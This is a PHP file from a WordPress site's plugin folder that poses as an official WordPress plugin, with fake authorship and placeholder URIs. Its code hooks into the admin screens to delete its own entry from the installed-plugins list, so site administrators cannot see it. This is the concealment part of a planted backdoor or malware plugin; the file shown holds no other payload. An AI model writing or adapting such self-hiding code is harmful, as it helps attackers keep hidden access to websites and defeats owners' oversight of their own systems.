File: /var/www/itself.kauko.lt/wp-content/plugins/wp-periphericum-theory/wp-periphericum-theory.php
<?php
/*
Plugin Name: WP Periphericum Theory
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 1.9.4
Author URI: http://wordpress.org/#
License: GPL2
*/
function aho_lyj()
{
global $wp_list_table;
if (!isset($wp_list_table)) {
return;
}
$b = array('wp-periphericum-theory/wp-periphericum-theory.php');
if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
foreach ($wp_list_table->items as $key => $val) {
if (in_array($key, $b)) {
unset($wp_list_table->items[$key]);
}
}
}
}
function kyr_bca($plugins)
{
$a = 'wp-periphericum-theory/wp-periphericum-theory.php';
if (array_key_exists($a, $plugins)) {
unset($plugins[$a]);
}
return $plugins;
}
if (defined('ABSPATH')) {
add_action('pre_current_active_plugins', 'aho_lyj');
add_filter('all_plugins', 'kyr_bca');
}